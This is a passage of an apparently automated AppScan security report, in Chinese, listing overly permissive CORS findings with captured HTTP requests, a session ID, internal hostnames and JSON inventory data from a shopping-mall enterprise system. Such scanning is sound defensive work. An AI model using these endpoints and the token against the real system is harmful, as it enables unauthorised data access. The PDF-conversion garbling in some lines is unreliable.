Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
  "code": null,
"msg": null,
  "data": [
                                             "startIndex": 0,
                                             "pageSize": 15,
                                             "totalCount": 72,
                                             "results": [
                                                                                        "enterpriseid": 55,
                                                                                        "goodsid": 105190,
                                                                                        "goodscode": "0200202",
                                                                                         "goodsName": "werdhgf",
                                                                                         "goodsunit": "gechi",
                                                                                        "goodsspec": "hh",
"goodsmodel": "resadsa",
                                                                                         "departmentid": 1670,
                                                                                         "depotid": null,
                                                                                        "stockqty": 99999999.00,
                                                                                        "stayingty": null,
                                                                                        "stayoutqty": null,
                                                                                        "presaleqty": null,
```

```
"lostqty": null,
          "lockqty": 0.00,
          "maySaleqty": 99999999.00,
          "soldqty": 0.00
          "enterpriseid": 55,
          "goodsid": 105186,
"goodscode": "0375346",
"goodsName": " 场地",
           "goodsunit": "
                                     小时",
          "goodsspec": "",
           "goodsmodel": "",
           "departmentid": 1670,
          "depotid": null,
"stockqty": 10000.00,
"stayinqty": null,
          "stayoutqty": null,
          "presaleqty": null,
          "lostqty": null,
"lockqty": 0.00,
          "maySaleqty": 10000.00,
          "soldqty": 0.00
}
          "enterpriseid": 55,
          "goodsid": 105184,
          "goodscode": "0300345",
"goodsName": "会场租用",
"goodsunit": "米",
          "goodsmodel": "",
          "departmentid": 1670,
          "depotid": null,
          "stockqty": 0.00,
          "stayinqty": null,
"stayoutqty": null,
          "presaleqty": null,
"lostqty": null,
"lockqty": 0.00,
          "maySaleqty": 0.00,
          "soldqty": 0.00
          "enterpriseid": 55,
          "goodsid": 105183,
          goodsta(: 103103,
"goodscode": "0300299",
"goodsName": " 工位租用",
"goodsunit": " 间",
          "goodsspec": "",
          "goodsmodel": "",
          "departmentid": 1670,
          "depotid": null,
          "stockqty": 0.00,
"stayinqty": null,
          "stayoutqty": null,
          "presaleqty": null,
          "lostqty": null,
          "lockqty": 0.00,
          "maySaleqty": 0.00,
          "soldqty": 0.00
          "enterpriseid": 55,
          "goodsid": 105182,
          "goodscode": "0300123",
"goodsName": " 场地租用",
          "goodsunit": "
                                     间",
          "goodsspec": "",
           "goodsmodel": "",
          "departmentid": 1670,
          "depotid": null,
"stockqty": 0.00,
          "stayinqty": null,
           "stayoutqty": null,
           "presaleqty": null,
          "lostqty": null,
"lockqty": 0.00,
```

```
"maySaleqty": 0.00,
                                             "soldqty": 0.00
                                             "enterpriseid": 55,
                                              "goodsid": 105181,
                                             "goodsrd: 100161,
"goodscode": "0102226",
"goodsName": "
"goodsunit": "
辆
                                                                         交通运输设备",
                                                                          辆",
                                             "goodsspec": "",
                                             "goodsmodel": "",
                                             "departmentid": 1670,
                                             "depotid": null,
"stockqty": 0.00,
                                             "stayinqty": null,
"stayoutqty": null,
                                             "presaleqty": null,
                                             "lostqty": null,
                                             "lockqty": 0.00,
                                             "maySaleqty": 0.00,
                                             "soldqty": 0.00
                                             "enterpriseid": 55,
                                             "goodsid": 105180,
                                             "goodscode": "0120051",
"goodsName": " 专
"goodsunit": " 台
                                                                         专用设备",
                                             "goodsspec": "",
"goodsmodel": "",
                                             "departmentid": 1670,
                                             "depotid": null,
                                             "stockqty": 0.00,
                                             "stayingty": null,
                                             "stayoutqty": null,
                                              "presaleqty": null,
                                             "lostqty": null,
                                             "lockqty": 0.00,
                                             "maySaleqty": 0.00,
                                             "soldqty": 0.00
                                             "enterpriseid": 55,
                                             "goodsid": 105179,
                                             "goodscode": "0120042",
"goodsName": " 家具用具及其他",
                                             "goodsunit": "
                                                                         把",
                                             "goodsspec": "家」
"goodsmodel": "PJ-2ID",
                                                                        家具",
                                             "departmentid": 1670,
                                             "depotid": null,
                                             "stockqty": 0.00,
"stayinqty": null,
                                             "stayoutqty": null,
                                             "presaleqty": null,
                                             "lostqty": null,
"lockqty": 0.00,
                                             "maySaleqty": 0.00,
                                             "soldqty": 0.00
                                             "enterpriseid": 55,
                                             "goodsid": 105178,
"goodscode": "0400101",
"goodsName": "20180111",
"goodsunit": " 台",
"goodsspec": "5.6
                                              "goodsmodel": "6Plus",
                                             "departmentid": 1670,
                                             "deportid": null,
"stockqty": 99999999.00,
"stayinqty": null,
"stayoutqty": null,
. . .
. . .
```

变体-|8/9

测试请求和响应:

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:draw=2&start=0&length=15&search\%5Dvalue\%5D=1234&search\%5Bregex\%5D=false\&pageNum=1&searchValue=1233alsearch\%5Dvalue=1233alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dvalue=123alsearch\%5Dval
4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:27 GMT
Content-Type: application/json
Transfer-Encoding: chunked
  "code": null,
  "msg": null,
  "data": [
                                           "startIndex": 0,
                                           "pageSize": 15,
                                           "totalCount": 3,
                                           "results": [
                                                                                    "enterpriseid": 55,
                                                                                    "goodsid": 104974,
                                                                                    "goodscode": "0123459",
"goodsName": "4325325",
                                                                                   "goodsunit": "ge",
"goodsspec": "",
                                                                                   "goodsmodel": "",
                                                                                    "departmentid": 1670,
                                                                                    "depotid": null,
                                                                                   "stockqty": 1000.00,
"stayinqty": null,
                                                                                   "stayoutqty": null,
                                                                                   "presaleqty": null,
                                                                                   "lostqty": null,
                                                                                   "lockqty": 66.00,
                                                                                   "maySaleqty": 934.00,
                                                                                   "soldqty": 0.00
                                                                                    "enterpriseid": 55,
                                                                                   "goodsid": 104931,
                                                                                   "goodscode": "0312345",
                                                                                   "goodsName": "
                                                                                                                                       测试01",
                                                                                    "goodsunit": "
                                                                                                                                        个",
                                                                                    "goodsspec": "",
                                                                                    "goodsmodel": "",
                                                                                   "departmentid": 1670,
                                                                                   "depotid": null,
```

```
"stockqty": 1.00,
                                  "stayinqty": null,
                                 "stayoutqty": null,
                                  "presaleqty": null,
                                 "lostqty": null,
                                 "lockqty": 1.00,
                                 "maySaleqty": 0.00,
                                 "soldqty": 0.00
                                 "enterpriseid": 55,
                                 "goodsid": 104893,
                                 苹果手机",
                                 "goodsunit": "
                                                       台",
                                 "goodsspec": "",
                                 "goodsmodel": "",
                                 "departmentid": 1670,
                                 "depotid": null,
                                 "stockqty": 3.00,
"stayinqty": null,
                                 "stayoutqty": null,
                                 "presaleqty": null,
                                 "lostqty": null,
"lockqty": 0.00,
                                 "maySaleqty": 3.00,
                                 "soldqty": 0.00
                 "showPageNumbers": [
                               Ω
                "pageNo": 1,
                "pageCount": 1,
                "params": [
                                 "searchValue": "1234"
                                }
                "paginationFlag": false,
                "totalPageCount": 1,
                "nextIndex": 15,
                "page": 1,
                "previousIndex": 0
"html": null
```

变体-|9/9

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=3&start=0&length=45&search%5Bvalue%5D=1234&search%5Bregex%5D=false&pageNum=1&searchValue=123
4 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 200 OK
```

```
{\tt Access-Control-Allow-Headers: x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:20:30 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "code": null,
 "msg": null,
"data": [
                  "startIndex": 0,
                  "pageSize": 45,
                  "totalCount": 3,
                  "results": [
                                    "enterpriseid": 55,
                                    "goodsid": 104974,
                                   "goodscode": "0123459",
"goodsName": "4325325",
                                   "goodsunit": "ge",
                                    "goodsspec": "",
                                    "goodsmodel": "",
                                    "departmentid": 1670,
                                    "depotid": null,
                                    "stockqty": 1000.00,
"stayinqty": null,
                                   "stayoutqty": null,
                                    "presaleqty": null,
                                   "lostqty": null,
                                    "lockqty": 66.00,
                                    "maySaleqty": 934.00,
                                    "soldqty": 0.00
                                    "enterpriseid": 55,
                                   "goodsid": 104931,
                                    "goodscode": "0312345",
                                    "goodsName": "测试01",
                                    "goodsunit": "
                                    "goodsspec": "",
                                    "goodsmodel": "",
                                    "departmentid": 1670,
                                    "depotid": null,
                                    "stockqty": 1.00,
                                   "stayingty": null,
                                    "stayoutqty": null,
                                    "presaleqty": null,
                                   "lostqty": null,
"lockqty": 1.00,
                                   "maySaleqty": 0.00,
                                   "soldqty": 0.00
                                    "enterpriseid": 55,
                                    "goodsid": 104893,
                                    "goodscode": "0112345",
                                    "goodsName": "
                                                          苹果手机",
                                    "goodsunit": "
                                                          台",
                                    "goodsspec": "",
                                    "goodsmodel": "",
                                    "departmentid": 1670,
                                    "depotid": null,
                                    "stockqty": 3.00,
                                    "stayingty": null,
                                    "stayoutqty": null,
                                    "presaleqty": null,
                                    "lostqty": null,
                                   "lockqty": 0.00,
                                    "maySaleqty": 3.00,
                                   "soldqty": 0.00
```

问题 10 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	(f.
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pubGoodslevel/selectList
实体:	selectList (Page)
A A	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /pubGoodslevel/selectList HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
```

```
Date: Fri, 12 Jan 2018 03:11:24 GMT
Content-Type: application/json
Transfer-Encoding: chunked
"code": null,
"msg": null,
"data": [
                             "enterpriseid": 55,
                             "status": null,
                             "goodslevelid": 8,
                             "level": 22,
                             "oldLevel": null,
"remark": " 亦乐测试"
                             "enterpriseid": 55,
                             "status": null,
                             "goodslevelid": 3,
                             "level": 4,
"oldLevel": null,
"remark": ""
                             "enterpriseid": 55,
                             "status": null,
                             "goodslevelid": 9,
                             "level": 3,
"oldLevel": null,
"remark": "总经理级"
                             "enterpriseid": 55,
                             "status": null,
                             "goodslevelid": 4,
                             "level": 2,
"oldLevel": null,
                             "remark": "123"
                            "enterpriseid": 55,
" null,
                              "goodslevelid": 1,
                             "level": 1,
"oldLevel": null,
"remark": "初始化数据,普通员工"
}
```

问题 11 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/ditionary/List
实体:	List (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /ditionary/List HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                {
"": [
                                "id": 2039,
                                  "ddlid": 0,
                                 "keyword": "",
"ddlname": "",
                                  "usestatus": 1,
                                  "note": ""
                                 "id": 2040,
                                  "ddlid": 1,
                                  "keyword": "",
                                  "ddlname": "",
                                  "usestatus": 1,
                                  "note": ""
                                "id": 2041,
```

```
"ddlid": 5689,
                   "keyword": "",
"ddlname": "",
                   "usestatus": 0,
                   "note": ""
                 "id": 2042,
                   "ddlid": 5321,
                   "keyword": "",
                   "ddlname": "",
                   "usestatus": 0,
                   "note": ""
                "id": 2044,
                   "ddlid": 333,
                  "keyword": "",
"ddlname": "",
                  "usestatus": 0,
                  "note": ""
                 "id": 99999995,
                  "ddlid": 2,
"keyword": "",
"ddlname": "
                                         待服务",
                   "usestatus": 1,
                   "note": null
"PUB_GOODSCLASS_LEVEL": [
                 "id": 125,
                   "ddlid": 1,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 一级",
                  "ddlname":
"usestatus": 1,
商品分类级别A"
                 "id": 318,
                  "ddlid": 2,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
                  "ddlname":
"usestatus": 1,
"acte": " 商品分类级别A"
                                       二级",
                 "id": 466,
                  "ddlid": 3,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 三级",
                   "ddlname": "usestatus": 1,
nato": " 商品分类级别A"
         }
                 "id": 569,
                   "ddlid": 4,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "四级",
                   "ddlname":
"usestatus": 1,
"`" 商品分类级别A"
         }
                 "id": 647,
                   "ddlid": 5,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": 五级",
                   "usestatus": 1,
"usestatus": 1,
商品分类级别A"
         }
                 "id": 990,
                   "ddlid": 0,
                   "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": 零級",
                                       零级",
                   "usestatus": 1,
```

```
"note": " 商品分类级别A"
"SP TR DISPATCH ROUTE": [
                  "id": 274,
                    "ddlid": 1,
"keyword": "SP_TR_DISPATCH_ROUTE",
"ddlname": " 南线",
                    "usestatus": 1,
                    "note": "
                                     路线A"
"SP_SA_RT_GT_BANKCARD_BANKCARDID": [
                  "id": 1246,
                    "ddlid": 111,
                    "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": "中国银行",
                    "usestatus": 1,
                   "note": "
                                        银行A"
                  "id": 1247,
                    "ddlid": 112,
                    "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": " 农业银行",
                   "ddlname":
"usestatus": 1,
" 银行A"
                  "id": 1248,
                    "ddlid": 113,
                    "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": " 工商银行",
                    "usestatus": 1,
                    "note": "
"PUB TIMETYPE": [
                   "id": 138,
                    "ddlid": 1,
                    "keyword": "PUB_TIMETYPE",
                                         我方入库时间",
                    "ddlname":
"usestatus": 1,
"-ote": " 补充协议时间类型A"
                    "ddlname": "
                  "id": 329,
                   "ddlid": 2,
                    "usestatus": 1,
"note": "补充协议时间类型A"
"BBB": [
                  "id": 2035,
                    "ddlid": 888,
                    "keyword": "BBB",
                    "ddlname": "ccc",
                    "usestatus": 0,
                    "note": "ddd"
"SALECANCELMONEYSTATUS": [
                  "id": 99999002,
                    "ddlid": 0,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款中",
                   "ddlname .
"usestatus": 1,
                  {
                    "id": 99999003,
```

```
"ddlid": 1,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": " 己退款",
                 "usestatus": 1,
                "note": "
                              退款单退款状态"
                "id": 99999005,
                "ddlid": 2,
                "keyword": "SALECANCELMONEYSTATUS",
                "ddlname": "
                                  退款失败",
                "usestatus": 1,
                "note": "
                                退款单退款状态"
              "id": 99999006,
                "ddlid": 3,
                "keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款成功",
                "usestatus": 1,
                "note": "
                                退款单退款状态"
               "id": 99999007,
                "ddlid": 4,
                "keyword": "SALECANCELMONEYSTATUS",
                "ddlname": "
                                   待退款",
                "usestatus": 1,
                "note": "
                            退款单退款状态"
"SP_INVOICE_TYPE": [
                "id": 52,
                "ddlid": 0,
                "keyword": "SP INVOICE TYPE",
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /ditionary/List HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:10:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
```

```
{
  "data": [
                    {
"": [
                                        "id": 2039,
                                          "ddlid": 0,

"keyword": "",

"ddlname": "",
                                           "usestatus": 1,
                                          "note": ""
                                        "id": 2040,
                                          "ddlid": 1,
"keyword": "",
"ddlname": "",
                                          "usestatus": 1,
                                          "note": ""
                                        "id": 2041,
                                          "ddlid": 5689,
"keyword": "",
"ddlname": "",
                                          "usestatus": 0,
                                          "note": ""
                                        "id": 2042,
                                          "ddlid": 5321,
                                          "keyword": "",
"ddlname": "",
                                          "usestatus": 0,
                                          "note": ""
                                        "id": 2044,
                                          "ddlid": 333,
                                          "keyword": "",
"ddlname": "",
                                          "usestatus": 0,
                                          "note": ""
                                        {
"id": 99999995,
                                          "ddlid": 2,
"keyword": "",
"ddlname": "
                                                                 待服务",
                                          "usestatus": 1,
                                          "note": null
                      "PUB_GOODSCLASS_LEVEL": [
                                         "id": 125,
                                          "ddlid": 1,
                                          "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": " 一级",
                                          "usestatus": 1,
                                          "note": "
                                                             商品分类级别A"
                                        "id": 318,
"ddlid": 2,
                                          "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "二级",
                                          "ddlname":
"usestatus": 1,
市a": "商品分类级别A"
                                         "id": 466,
                                          "ddlid": 3,
                                          "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": "三级",
                                          "usestatus": 1,
"note": "商品分类级别A"
```

```
"id": 569,
                 "ddlid": 4,
                "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": 四级",
                                   四级",
                 "usestatus": 1,
                                 商品分类级别A"
                "note": "
              "id": 647,
                "ddlid": 5,
                "keyword": "PUB_GOODSCLASS_LEVEL",
"ddlname": 五级",
                                   五级",
                "usestatus": 1,
                               ,商品分类级别A"
                "note": "
                "id": 990,
                "ddlid": 0,
                "keyword": "PUB_GOODSCLASS_LEVEL",
                "ddlname":
"usestatus": 1,
商品分类级别A"
                "ddlname": "
                                   零级",
"SP_TR_DISPATCH_ROUTE": [
               "id": 274,
                "ddlid": 1,
                "keyword": "SP_TR_DISPATCH_ROUTE",
"ddlname": " 南线",
                "usestatus": 1,
                               ,
路线A"
                "note": "
"SP_SA_RT_GT_BANKCARD_BANKCARDID": [
               "id": 1246,
                "ddlid": 111,
                "keyword": "SP_SA_RT_GT_BANKCARDID",
"ddlname": "中国银行",
                "usestatus": 1,
                                 银行A"
                "note": "
              "id": 1247,
                "ddlid": 112,
                "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": 农业银行",
               "ddlname":
"usestatus": 1,
银行A"
               "id": 1248,
                "ddlid": 113,
                "keyword": "SP_SA_RT_GT_BANKCARD_BANKCARDID",
"ddlname": " 工商银行",
                "usestatus": 1,
                "note": "
                               银行A"
"PUB TIMETYPE": [
               "id": 138,
                "ddlid": 1,
                "keyword": "PUB_TIMETYPE",
                "ddlname":
"usestatus": 1,
" -+=": " 补充协议时间类型A"
                "ddlname": "
                                我方入库时间",
               "id": 329,
                "ddlid": 2,
                "usestatus": 1,
"note": " 补充协议时间类型A"
```

```
"BBB": [
                       "id": 2035,
                       "ddlid": 888,
                       "keyword": "BBB",
"ddlname": "ccc",
"usestatus": 0,
                      "note": "ddd"
"SALECANCELMONEYSTATUS": [
                     "id": 99999002,
                      "dd": 93939002,
"ddlid": 0,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 退款中",
                       "usestatus": 1,
"note": "退款单退款状态"
                     "id": 99999003,
                      "ddlid": 1,
"ddlid": 1,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": "已退款",
                      "usestatus": 1,
"note": " 退款单退款状态"
                     "id": 99999005,
                      "ddlid": 2,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 退款失败",
                      "usestatus": 1,
"note": "退款单退款状态"
                     "id": 99999006,
                      "ddlid": 3,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": "退款成功",
                      "usestatus": 1,
"note": "退款单退款状态"
                     "id": 99999007,
                      "dd: 5959500.,
"ddlid": 4,
"keyword": "SALECANCELMONEYSTATUS",
"ddlname": 待退款",
                       "usestatus": 1,
"note": "退款单退款状态"
"SP_INVOICE_TYPE": [
                     "id": 52,
                       "ddlid": 0,
                       "keyword": "SP_INVOICE_TYPE",
"ddlname": "零售发票",
                       "usestatus": 1,
"note": "A"
```

问题 12 / 51 Toc

过度许可的 CORS 访问测试		
严重性:	ft.	
CVSS 分数:	5.0	
URL:	http://cms.mall.xt.weilian.cn/upload	
实体:	upload (Page)	
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息	
原因:	Web 应用程序编程或配置不安全	
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点	

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

此请求/响应中包含二进制内容,但生成的报告中不包含此内容。

问题 13 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/pictrue/getGoodsPictrueList
实体:	getGoodsPictrueList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /pictrue/getGoodsPictrueList?enterpriseid=55 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:26 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 1,
               商品图片维护列表",
 "msg": "
 "html": null
```

问题 14 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	低 (K)
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsList
实体:	goodsList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsRestApi/goodsList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36

Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
